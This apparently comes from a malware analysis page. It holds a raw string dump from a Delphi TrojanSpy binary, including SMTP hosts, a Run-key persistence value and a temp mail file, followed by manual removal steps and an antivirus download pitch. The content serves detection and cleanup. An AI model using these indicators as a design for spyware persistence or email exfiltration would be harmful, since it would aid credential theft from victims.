).qeI
I.MVB
wc.RK
>L. D%C
R|Ftp
CmDpB
t%d;j'
UDpD
{o.RR[
?.Dquo4;
X-6b}t
/z^q%c
.JfO'x
jKU.JP
;11.cU,4h
t2%5s
x4.sSc
~F.cu
%sLC3
{z.adx
G#%Dj
.RTwj
p.VF,
xs=G%su:
5^Z.VR
c.HV_
NK>n{Gp%syE
.Yo;t
}.lE 
~}e%X^:
version="15.0.3890.34076"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
C:\Builds\TP\rtl\sys\SysUtils.pas
%s-%s
C:\Builds\TP\rtl\common\TypInfo.pas
%s[%d]
%s_%d
.Owner
C:\Builds\TP\rtl\common\Classes.pas
C:\Builds\TP\rtl\common\SyncObjs.pas
\\?\UNC\
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
%s (*.%s)|*.%1:s
%s (%s)|%1:s|
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
crSQLWait
%s (%s)
imm32.dll
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
clWebSnow
clWebFloralWhite
clWebLavenderBlush
clWebOldLace
clWebIvory
clWebCornSilk
clWebBeige
clWebAntiqueWhite
clWebWheat
clWebAliceBlue
clWebGhostWhite
clWebLavender
clWebSeashell
clWebLightYellow
clWebPapayaWhip
clWebNavajoWhite
clWebMoccasin
clWebBurlywood
clWebAzure
clWebMintcream
clWebHoneydew
clWebLinen
clWebLemonChiffon
clWebBlanchedAlmond
clWebBisque
clWebPeachPuff
clWebTan
clWebYellow
clWebDarkOrange
clWebRed
clWebDarkRed
clWebMaroon
clWebIndianRed
clWebSalmon
clWebCoral
clWebGold
clWebTomato
clWebCrimson
clWebBrown
clWebChocolate
clWebSandyBrown
clWebLightSalmon
clWebLightCoral
clWebOrange
clWebOrangeRed
clWebFirebrick
clWebSaddleBrown
clWebSienna
clWebPeru
clWebDarkSalmon
clWebRosyBrown
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebOlive
clWebForestGreen
clWebGreenYellow
clWebChartreuse
clWebLightGreen
clWebAquamarine
clWebSeaGreen
clWebGoldenRod
clWebKhaki
clWebOliveDrab
clWebGreen
clWebYellowGreen
clWebLawnGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkgreen
clWebLimeGreen
clWebLime
clWebSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebLightCyan
clWebLightBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebIndigo
clWebMediumTurquoise
clWebTurquoise
clWebCyan
clWebPowderBlue
clWebSkyBlue
clWebRoyalBlue
clWebMediumBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebCadetBlue
clWebDarkCyan
clWebTeal
clWebDeepskyBlue
clWebDodgerBlue
clWebBlue
clWebNavy
clWebDarkViolet
clWebDarkOrchid
clWebMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebMediumOrchid
clWebMediumPurple
clWebPurple
clWebDeepPink
clWebLightPink
clWebViolet
clWebOrchid
clWebPlum
clWebThistle
clWebHotPink
clWebPink
clWebLightSteelBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebWhite
clWebLightgrey
clWebGray
clWebSteelBlue
clWebSlateBlue
clWebSlateGray
clWebWhiteSmoke
clWebSilver
clWebDimGray
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlategray
clWebGainsboro
clWebDarkGray
clWebBlack
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
C:\Builds\TP\indysockets\lib\system\IdStreamVCL.pas
C:\Builds\TP\indysockets\lib\system\IdGlobal.pas
%s, %.2d %s %.4d %s %s
%s, %.2d-%s-%.2d %s %s
%s, %d %s %d %s %s
ISO_646.irv:1991
ISO_646.basic:1983
ISO_646.irv:1983
csISO16Portuguese
csISO84Portuguese2
csShiftJIS
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
csMicrosoftPublishing
Windows-31J
csWindows31J
PTCP154
csPTCP154
10.5.7
WS2_32.DLL
getservbyport
WSAAsyncGetServByPort
WSAJoinLeaf
MSWSOCK.DLL
WSARecvMsg
WSASendMsg
Wship6.dll
Fwpuclnt.dll
127.0.0.1
C:\Builds\TP\indysockets\lib\system\IdStack.pas
.nml=animation/narrative
.aac=audio/mp4
.aif=audio/x-aiff
.aifc=audio/x-aiff
.aiff=audio/x-aiff
.au=audio/basic
.gsm=audio/x-gsm
.kar=audio/midi
.m3u=audio/mpegurl
.mid=audio/midi
.midi=audio/midi
.mpega=audio/x-mpg
.mp2=audio/x-mpg
.mp3=audio/x-mpg
.mpga=audio/x-mpg
.m3u=audio/x-mpegurl
.pls=audio/x-scpls
.qcp=audio/vnd.qcelp
.ra=audio/x-realaudio
.ram=audio/x-pn-realaudio
.rm=audio/x-pn-realaudio
.sd2=audio/x-sd2
.sid=audio/prs.sid
.snd=audio/basic
.wav=audio/x-wav
.wax=audio/x-ms-wax
.wma=audio/x-ms-wma
.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile
.art=image/x-jg
.bmp=image/bmp
.cdr=image/x-coreldraw
.cdt=image/x-coreldrawtemplate
.cpt=image/x-corelphotopaint
.djv=image/vnd.djvu
.djvu=image/vnd.djvu
.gif=image/gif
.ief=image/ief
.ico=image/x-icon
.jng=image/x-jng
.jpg=image/jpeg
.jpeg=image/jpeg
.jpe=image/jpeg
.pat=image/x-coreldrawpattern
.pcx=image/pcx
.pbm=image/x-portable-bitmap
.pgm=image/x-portable-graymap
.pict=image/x-pict
.png=image/x-png
.pnm=image/x-portable-anymap
.pntg=image/x-macpaint
.ppm=image/x-portable-pixmap
.psd=image/x-psd
.qtif=image/x-quicktime
.ras=image/x-cmu-raster
.rf=image/vnd.rn-realflash
.rgb=image/x-rgb
.rp=image/vnd.rn-realpix
.sgi=image/x-sgi
.svg=image/svg-xml
.svgz=image/svg-xml
.targa=image/x-targa
.tif=image/x-tiff
.wbmp=image/vnd.wap.wbmp
.xbm=image/xbm
.xbm=image/x-xbitmap
.xpm=image/x-xpixmap
.xwd=image/x-xwindowdump
.xml=text/xml
.uls=text/iuls
.txt=text/plain
.rtx=text/richtext
.wsc=text/scriptlet
.rt=text/vnd.rn-realtext
.htt=text/webviewhtml
.htc=text/x-component
.vcf=text/x-vcard
.asf=video/x-ms-asf
.asx=video/x-ms-asf
.avi=video/x-msvideo
.dl=video/dl
.dv=video/dv
.flc=video/flc
.fli=video/fli
.gl=video/gl
.lsf=video/x-la-asf
.lsx=video/x-la-asf
.mng=video/x-mng
.mp2=video/mpeg
.mp3=video/mpeg
.mp4=video/mpeg
.mpeg=video/x-mpeg2a
.mpa=video/mpeg
.mpe=video/mpeg
.mpg=video/mpeg
.moov=video/quicktime
.mov=video/quicktime
.mxu=video/vnd.mpegurl
.qt=video/quicktime
.qtc=video/x-qtc
.rv=video/vnd.rn-realvideo
.ivf=video/x-ivf
.wm=video/x-ms-wm
.wmp=video/x-ms-wmp
.wmv=video/x-ms-wmv
.wmx=video/x-ms-wmx
.wvx=video/x-ms-wvx
.rms=video/vnd.rn-realvideo-secure
.asx=video/x-ms-asf-plugin
.movie=video/x-sgi-movie
.aab=application/x-authorware-bin
.aam=application/x-authorware-map
.aas=application/x-authorware-seg
.abw=application/x-abiword
.ace=application/x-ace-compressed
.ai=application/postscript
.alz=application/x-alz-compressed
.ani=application/x-navi-animation
.arj=application/x-arj
.asf=application/vnd.ms-asf
.bat=application/x-msdos-program
.bcpio=application/x-bcpio
.boz=application/x-bzip2
.bz=application/x-bzip
.bz2=application/x-bzip2
.cab=application/vnd.ms-cab-compressed
.cat=application/vnd.ms-pki.seccat
.ccn=application/x-cnc
.cco=application/x-cocoa
.cdf=application/x-cdf
.cer=application/x-x509-ca-cert
.chm=application/vnd.ms-htmlhelp
.chrt=application/vnd.kde.kchart
.cil=application/vnd.ms-artgalry
.class=application/java-vm
.com=application/x-msdos-program
.clp=application/x-msclip
.cpio=application/x-cpio
.cpt=application/mac-compactpro
.cqk=application/x-calquick
.crd=application/x-mscardfile
.crl=application/pkix-crl
.csh=application/x-csh
.dar=application/x-dar
.dbf=application/x-dbase
.dcr=application/x-director
.deb=application/x-debian-package
.dir=application/x-director
.dist=vnd.apple.installer xml
.distz=vnd.apple.installer xml
.dll=application/x-msdos-program
.dmg=application/x-apple-diskimage
.doc=application/msword
.dot=application/msword
.dvi=application/x-dvi
.dxr=application/x-director
.ebk=application/x-expandedbook
.eps=application/postscript
.evy=application/envoy
.exe=application/x-msdos-program
.fdf=application/vnd.fdf
.fif=application/fractals
.flm=application/vnd.kde.kivio
.fml=application/x-file-mirror-list
.gzip=application/x-gzip
.gnumeric=application/x-gnumeric
.gtar=application/x-gtar
.gz=application/x-gzip
.hdf=application/x-hdf
.hlp=application/winhlp
.hpf=application/x-icq-hpf
.hqx=application/mac-binhex40
.hta=application/hta
.ims=application/vnd.ms-ims
.ins=application/x-internet-signup
.iii=application/x-iphone
.iso=application/x-iso9660-image
.jar=application/java-archive
.karbon=application/vnd.kde.karbon
.kfo=application/vnd.kde.kformula
.kon=application/vnd.kde.kontour
.kpr=application/vnd.kde.kpresenter
.kpt=application/vnd.kde.kpresenter
.kwd=application/vnd.kde.kword
.kwt=application/vnd.kde.kword
.latex=application/x-latex
.lha=application/x-lzh
.lcc=application/fastman
.lrm=application/vnd.ms-lrm
.lz=application/x-lzip
.lzh=application/x-lzh
.lzma=application/x-lzma
.lzo=application/x-lzop
.lzx=application/x-lzx
.mpp=application/vnd.ms-project
.mvb=application/x-msmediaview
.man=application/x-troff-man
.mdb=application/x-msaccess
.me=application/x-troff-me
.ms=application/x-troff-ms
.msi=application/x-msi
.mpkg=vnd.apple.installer xml
.mny=application/x-msmoney
.nix=application/x-mix-transfer
.oda=application/oda
.odb=application/vnd.oasis.opendocument.database
.odc=application/vnd.oasis.opendocument.chart
.odf=application/vnd.oasis.opendocument.formula
.odg=application/vnd.oasis.opendocument.graphics
.odi=application/vnd.oasis.opendocument.image
.odm=application/vnd.oasis.opendocument.text-master
.odp=application/vnd.oasis.opendocument.presentation
.ods=application/vnd.oasis.opendocument.spreadsheet
.ogg=application/ogg
.odt=application/vnd.oasis.opendocument.text
.otg=application/vnd.oasis.opendocument.graphics-template
.oth=application/vnd.oasis.opendocument.text-web
.otp=application/vnd.oasis.opendocument.presentation-template
.ots=application/vnd.oasis.opendocument.spreadsheet-template
.ott=application/vnd.oasis.opendocument.text-template
.p7b=application/x-pkcs7-certificates
.p7r=application/x-pkcs7-certreqresp
.package=application/vnd.autopackage
.pfr=application/font-tdpfr
.pkg=vnd.apple.installer xml
.pdf=application/pdf
.pko=application/vnd.ms-pki.pko
.pl=application/x-perl
.pnq=application/x-icq-pnq
.pot=application/mspowerpoint
.pps=application/mspowerpoint
.ppt=application/mspowerpoint
.ppz=application/mspowerpoint
.ps=application/postscript
.pub=application/x-mspublisher
.qpw=application/x-quattropro
.qtl=application/x-quicktimeplayer
.rar=application/rar
.rdf=application/rdf xml
.rjs=application/vnd.rn-realsystem-rjs
.rm=application/vnd.rn-realmedia
.rmf=application/vnd.rmf
.rmp=application/vnd.rn-rn_music_package
.rmx=application/vnd.rn-realsystem-rmx
.rnx=application/vnd.rn-realplayer
.rpm=application/x-redhat-package-manager
.rsml=application/vnd.rn-rsml
.rtsp=application/x-rtsp
.rss=application/rss xml
.scm=application/x-icq-scm
.ser=application/java-serialized-object
.scd=application/x-msschedule
.sda=application/vnd.stardivision.draw
.sdc=application/vnd.stardivision.calc
.sdd=application/vnd.stardivision.impress
.sdp=application/x-sdp
.setpay=application/set-payment-initiation
.setreg=application/set-registration-initiation
.sh=application/x-sh
.shar=application/x-shar
.shw=application/presentations
.sit=application/x-stuffit
.sitx=application/x-stuffitx
.skd=application/x-koan
.skm=application/x-koan
.skp=application/x-koan
.skt=application/x-koan
.smf=application/vnd.stardivision.math
.smi=application/smil
.smil=application/smil
.spl=application/futuresplash
.ssm=application/streamingmedia
.sst=application/vnd.ms-pki.certstore
.stc=application/vnd.sun.xml.calc.template
.std=application/vnd.sun.xml.draw.template
.sti=application/vnd.sun.xml.impress.template
.stl=application/vnd.ms-pki.stl
.stw=application/vnd.sun.xml.writer.template
.svi=application/softvision
.sv4cpio=application/x-sv4cpio
.sv4crc=application/x-sv4crc
.swf=application/x-shockwave-flash
.swf1=application/x-shockwave-flash
.sxc=application/vnd.sun.xml.calc
.sxi=application/vnd.sun.xml.impress
.sxm=application/vnd.sun.xml.math
.sxw=application/vnd.sun.xml.writer
.sxg=application/vnd.sun.xml.writer.global
.tar=application/x-tar
.tcl=application/x-tcl
.tex=application/x-tex
.texi=application/x-texinfo
.texinfo=application/x-texinfo
.tbz=application/x-bzip-compressed-tar
.tbz2=application/x-bzip-compressed-tar
.tgz=application/x-compressed-tar
.tlz=application/x-lzma-compressed-tar
.tr=application/x-troff
.trm=application/x-msterminal
.troff=application/x-troff
.tsp=application/dsptype
.torrent=application/x-bittorrent
.ttz=application/t-time
.txz=application/x-xz-compressed-tar
.udeb=application/x-debian-package
.uin=application/x-icq
.urls=application/x-url-list
.ustar=application/x-ustar
.vcd=application/x-cdlink
.vor=application/vnd.stardivision.writer
.vsl=application/x-cnet-vsl
.wcm=application/vnd.ms-works
.wb1=application/x-quattropro
.wb2=application/x-quattropro
.wb3=application/x-quattropro
.wdb=application/vnd.ms-works
.wks=application/vnd.ms-works
.wmd=application/x-ms-wmd
.wms=application/x-ms-wms
.wmz=application/x-ms-wmz
.wp5=application/wordperfect5.1
.wpd=application/wordperfect
.wpl=application/vnd.ms-wpl
.wps=application/vnd.ms-works
.wri=application/x-mswrite
.xfdf=application/vnd.adobe.xfdf
.xls=application/x-msexcel
.xlb=application/x-msexcel
.xpi=application/x-xpinstall
.xps=application/vnd.ms-xpsdocument
.xsd=application/vnd.sun.xml.draw
.xul=application/vnd.mozilla.xul xml
.zoo=application/x-zoo
.zip=application/x-zip-compressed
.wml=text/vnd.wap.wml
.wmlc=application/vnd.wap.wmlc
.wmls=text/vnd.wap.wmlscript
.wmlsc=application/vnd.wap.wmlscriptc
.asm=text/x-asm
.pas=text/x-pascal
.cs=text/x-csharp
.cpp=text/x-c  src
.cxx=text/x-c  src
.cc=text/x-c  src
.hpp=text/x-c  hdr
.hxx=text/x-c  hdr
.hh=text/x-c  hdr
.java=text/x-java
.css=text/css
.js=text/javascript
.htm=text/html
.html=text/html
.ls=text/javascript
.mocha=text/javascript
.shtml=server-parsed-html
.sgm=text/sgml
.sgml=text/sgml
C:\Builds\TP\indysockets\lib\protocols\IdGlobalProtocols.pas
HTTP-EQUIV
()<>@,;:\"./
()<>@,;:\"/[]?=
()<>@,;:\"/[]?={}
C:\Builds\TP\indysockets\lib\core\IdIOHandler.pas
255.255.255.255
0.0.0.0
C:\Builds\TP\indysockets\lib\core\IdIOHandlerStack.pas
0.0.0.1
IdRead() method of TIdTCPStream class does not support seeking
WINDOWS
C:\Builds\TP\indysockets\lib\protocols\IdHeaderCoderIndy.pas
()[]<>:;.,@\"
%s <%s>
TIdEncoder3to4.Encode: Calculated length exceeded (expected
C:\Builds\TP\indysockets\lib\protocols\IdCoder3to4.pas
TIdEncoder3to4.Encode: Calculated length not met (expected
Block passed to TIdDecoderBinHex4.Decode is missing a starting colon :
Block passed to TIdDecoderBinHex4.Decode is missing a terminating colon :
Data passed to TIdEncoderBinHex4.Encode is missing a filename
\/:*?"<>|
C:\Builds\TP\indysockets\lib\core\IdThread.pas
C:\Builds\TP\indysockets\lib\core\IdScheduler.pas
C:\Builds\TP\indysockets\lib\protocols\IdMessageClient.pas
PIPELINING
LOGIN
AUTH LOGIN
smtp
X-HTTP-Method-Override
Mozilla/3.0 (compatible; Indy Library)
%d-%d
C:\Builds\TP\indysockets\lib\protocols\IdZLibCompressorBase.pas
*<>#%"{}|\^[]`
*<>#%"{}|\^[]` 
HTTPS
.local
HttpOnly
C:\Builds\TP\indysockets\lib\protocols\IdCookie.pas
HTTPONLY
$Port
COMMENTURL
PORT
Content-Disposition: form-data; name="%s"
; filename="%s"
Content-Type: %s
; charset="%s"
Content-Transfer-Encoding: %s
libeay32.dll
ssleay32.dll
libssl32.dll
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSLHeaders.pas
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_certificate
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
X509_STORE_add_cert
X509_STORE_CTX_get_current_cert
i2d_DSAPrivateKey
d2i_DSAPrivateKey
d2i_PrivateKey
d2i_PrivateKey_bio
DES_set_key
_ossl_old_des_set_key
RSA_generate_key
RSA_check_key
RSA_generate_key_ex
i2d_PrivateKey_bio
i2d_RSAPrivateKey
d2i_RSAPrivateKey
i2d_RSAPublicKey
d2i_RSAPublicKey
i2d_PrivateKey
i2d_NETSCAPE_CERT_SEQUENCE
X509_get_default_cert_file
X509_get_default_cert_file_env
X509_set_pubkey
X509_REQ_set_pubkey
PEM_read_bio_RSAPrivateKey
PEM_read_bio_RSAPublicKey
PEM_read_bio_DSAPrivateKey
PEM_read_bio_PrivateKey
PEM_read_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_RSAPublicKey
PEM_write_bio_DSAPrivateKey
PEM_write_bio_PrivateKey
PEM_write_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_PKCS8PrivateKey
EVP_PKEY_type
EVP_PKEY_new
EVP_PKEY_free
EVP_PKEY_assign
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSL.pas
secur32.dll
security.dll
C:\Builds\TP\indysockets\lib\protocols\IdHTTP.pas
application/x-www-form-urlencoded
https
HTTP/1.0 200 OK
HTTP/
[email protected]
[email protected]
smtps.uol.com.br
[email protected]
[email protected]
senderedemail.tmp
KEYS SECURITY
C:\Builds\TP\vcl\imaging\gifimage\GIFImg.pas
Unused entry exported from THistogram
TColorMapOptimizer: Unused entry exported
o.Depois confirme as mesmas em um terminal eletr
Software\Microsoft\Windows\CurrentVersion\Run
WindowsMicrosoft
Kernel32.dll
Open SSL Support DLL Delphi and C  Builder interface
http://www.indyproject.org/
1993 - 2009
Portable Network Graphics
d:\sandbox_svc.exe
\cmd.exe
Unknown GIF block type'Object type not supported for operation
Unsupported PixelFormat
Invalid stream operation
Invalid extension introducerúiled to allocate memory for GIF DIB
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block sizepThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.]The program tried to add a existent critical chunk to the current image which is not allowed.IIt's not allowed to add a new chunk because the current image is invalid.7The png image could not be loaded from the resource ID.oSome operation could not be performed because the system is out of resources. Close some windows and try again.
Setting bit transparency color is not allowed for png images containing alpha value for each pixel (COLOR_RGBALPHA and COLOR_GRAYSCALEALPHA)OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.oThe "Portable Network Graphics" could not be created because invalid image type parameters have being provided.&Cannot change the size of a JPEG image
JPEG error #%d
$SSL is not available on this server.%Start SSL negotiation command failed.
Unsupported operation./Could not encode header data using charset "%s"jThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
The file being read is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corrupted, try obtaining it againnThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either its width or height exceeds the maximum size of 65535 pixels.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.
Message encoder not found!Unrecognized UUE encoding scheme.pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.
Error creating SSL context. Could not load root certificate.
Could not load certificate.#Could not load key, check password.
SSL status: "%s"
%s Alert
%s Read Alert
%s Write Alert
Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly
Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported
Attachment %s is blocked.$Error accepting connection with SSL.
Error creating SSL session.DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.
The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.
The security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client
The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.
Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.
The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.
Reply Code is not valid: %s
Reply Code already exists: %s
IOHandler value is not valid'Algorithm %s not permitted in FIPS mode'Need SASL mechanisms to login with it!!
Extension already exits Cannot load message from file %s
"Not enough data in buffer. (%d/%d)
File "%s" not found
Object type not supported.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Command not supported.
Address type not supported."%d: Circular links are not allowed
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
End of stream: Class %s at %d)UDP is not support in this SOCKS version.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation already in progress.
Socket operation on non-socket.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Socket Error # %d
Operation would block.
Operation now in progress.
Value must be between %d and %d
Unable to insert a line Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s
%s property out of range
%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active0Can only modify an image if it contains a bitmap*A control cannot have itself as its parent$Unknown picture file extension (.%s)
Unsupported clipboard format
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
No help found for context %d
No help found for %s
Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image
Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread2Cannot call Start on a running or suspended thread;Cannot call CheckTerminated on an externally created thread9Cannot call SetReturnValue on an externally create thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and <= %drHigh surrogate char without a following low surrogate char at index: %d. Check that the string is encoded properlyrLow surrogate char without a preceding high surrogate char at index: %d. Check that the string is encoded properly2Length of Strings and Objects arrays must be equal
Invalid Timeout value: %s#''%s'' is not a valid integer value
List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class
Error reading %s%s%s: %s
Failed to create key %s
Failed to get data for '%s'
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid file name - %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
Invalid destination array"Character index out of bounds (%d)
Start index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
External exception %x
Interface not supported
Object lock not owned(Monitor support function not initialized
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
'%d.%d' is not a valid timestamp
I/O error %d
Integer overflow Invalid floating point operation
4.0.0.5
1.2.1.1

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:1692
   

2. Delete the original TrojanSpy file.
   
3. Delete or disinfect the following files created/modified by the TrojanSpy:
   

   %Documents and Settings%\%current user%\Application Data\offece\offece.exe (4545 bytes)
   %Documents and Settings%\%current user%\Application Data\offece.exe (89642 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\senderedemail.tmp (10 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "offece" = "%Documents and Settings%\%current user%\Application Data\offece\offece.exe"
   
   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "WindowsMicrosoft" = "%Documents and Settings%\%current user%\Application Data\offece.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.